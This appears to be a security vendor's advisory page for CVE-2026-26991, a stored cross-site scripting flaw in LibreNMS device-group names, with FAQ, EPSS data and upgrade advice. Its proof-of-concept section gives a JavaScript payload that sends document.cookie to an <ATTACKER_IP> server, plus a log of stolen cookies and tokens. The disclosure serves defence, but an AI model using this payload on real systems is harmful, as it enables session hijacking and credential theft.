How severe is CVE-2026-26991?

No CVSS score has been assigned to CVE-2026-26991 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by CVE-2026-26991?

CVE-2026-26991 affects the following packages: librenms/librenms (Packagist). Ecosystems affected: Packagist.

How do I fix CVE-2026-26991?

Update librenms/librenms to 26.2.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-26991 is resolved across your whole dependency graph.

How do I detect CVE-2026-26991 in my Packagist dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for librenms/librenms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2026-26991 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against CVE-2026-26991?

O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-26991 can be triaged on real exposure rather than presence alone.

Is CVE-2026-26991 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-26991 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2026-26991?

CVE-2026-26991 has an EPSS (Exploit Prediction Scoring System) score of 0.2%, placing it in the 13th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2026-26991?

CVE-2026-26991 is classified as Cross-site Scripting (XSS) (CWE-79). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was CVE-2026-26991 published, and has it been updated?

CVE-2026-26991 was published on February 20, 2026 and was last updated on August 12, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐘 Packagist

Not in CISA KEV

CVE-2026-26991 — librenms/librenms

Fix: librenms/librenms@64b31da

CVE-2026-26991 is a Cross-site Scripting (XSS) vulnerability in librenms/librenms. A fix is available for librenms/librenms — see the affected versions and patch details below.

LibreNMS vulnerable to Stored Cross-site Scripting through unsanitized /device-groups name

Also known asGHSA-5pqf-54qp-32wx

Published

Feb 20, 2026

Updated

Aug 12, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Sep 23, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-26991.

EPSS Exploitation Probability

via FIRST.org ↗

0.2%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs13th percentile — riskier than 13% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected

🐘librenms/librenms

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

/device-groups name Stored Cross-Site Scripting

HTTP POST
Request-URI(s): "/device-groups"
Vulnerable parameter(s): "name"
Attacker must be authenticated with "admin" privileges.
When a user adds a device group, an HTTP POST request is sent to the Request-URI "/device-groups". The name of the newly created device group is stored in the value of the name parameter.
After the device group is created, the entry is displayed along with some relevant buttons like Rediscover Devices, Edit, and Delete.

Details

The vulnerability exists as the name of the device group is not sanitized of HTML/JavaScript-related characters or strings. When the delete button is rendered, the following template is used to render the page:

resources/views/device-group/index.blade.php:

@section('title', __('Device Groups'))
@section('content')
<div class="container-fluid">
<x-panel id="manage-device-groups-panel">
// [...Truncated...]
@foreach($device_groups as $device_group)
// [...Truncated...]

<button type="button" class="btn btn-danger btn-
sm" title="{{ __('delete Device Group') }}" aria-label="{{ __('Delete') }}"
onclick="delete_dg(this, '{{$device_group->name }}', '{{ route('device-groups.destroy', $device_group->id)
}}')"> // using the device's name in the Delete button functionality without
sanitizing for XSS related characters/strings

As the device's name is not sanitized of HTML/JavaScript-related characters or strings, this can result in stored cross-site scripting.

PoC

Login
Select Devices > Manage Groups
Select New Device Group
Input 12345');var pt=new Image();pt.src='http://<ATTACKER_IP>/cookie-
'.concat(document.cookie);document.body.appendChild(pt);delete_dg(this, '12345 into
the "Name" input box (change <ATTACKER_IP> to be an the IP of an attacker controlled webserver)
Select "access_points.accesspoint_id" as the Conditional input
Input 1 into the Conditional value input box
Select Save
Select the Delete Icon for the newly created Device Group
Select OK
The JavaScript payload is not sanitized and an HTTP request will be sent to the attacker controlled
server, leaking the user's cookies.

Impact

Attacker Controlled server's logs:

192.168.1.96 - - [10/Feb/2026:13:32:25 -0600] "GET /cookie-
jqCookieJar_options=%7B%7D;%20SWIFT_cookieconsent=dismiss;%20CookieAuth=%5B%22emai

l%40email.c.com%22%2C%22%242y%2410%24zI.%5C%2F5BHghPssddSOjH6.Eek%5C%2F0hQNm8DewYh

LnQxXHlpw3abw4C74y%22%5D;%20XSRF-
TOKEN=eyJpdiI6InkrSlpHNFZ3TjRXbXl5clQ2ZVBHOFE9PSIsInZhbHVlIjoiZTROUHRCcGhYRGU4dVJL

Z2RUUTZ5VXlGZElMNjZoT0E2cGRNZzVDRmtVWTg5YTBGNzdpTU83YU1EZ3E3Tk1BTm5tNjYxTExUV1Z0Mj
BLNUlqOVl4MlpGL21xdHh3MUJwYm1zT1RaQXJwR0w5YmVXTkdKQWNXUkNvL1J2SzVtcWMiLCJtYWMiOiI0
ZTc4YjVmMjhiYjc3YTA2MDI5NjJkOTgzMTJlYmVkNGVhOTg0ZjE4ZjRlMzY1NmFlMjNiNmUyNzhlN2QwOG
I4IiwidGFnIjoiIn0%3D HTTP/1.1" 404 492 "http://192.168.1.121/" "Mozilla/5.0
(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/144.0.0.0 Safari/537.36"

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐘Packagist	`librenms/librenms`	all versions	26.2.0`composer require librenms/librenms:^26.2.0`

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for librenms/librenms, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update librenms/librenms to 26.2.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-26991 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-26991 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-26991. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary **/device-groups name Stored Cross-Site Scripting** - HTTP POST - Request-URI(s): "/device-groups" - Vulnerable parameter(s): "name" - Attacker must be authenticated with "admin" privileges. - When a user adds a device group, an HTTP POST request is sent to the Request-URI "/device-groups". The name of the newly created device group is stored in the value of the name parameter. - After the device group is created, the entry is displayed along with some relevant buttons like Rediscover Devices, Edit, and Delete. ### Details The vulnerability exists as the name of the device group i

O3 Security · Impact-Aware SCA

Is CVE-2026-26991 in your dependencies?

O3 Security finds CVE-2026-26991 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

Scan my dependencies How O3 SCA works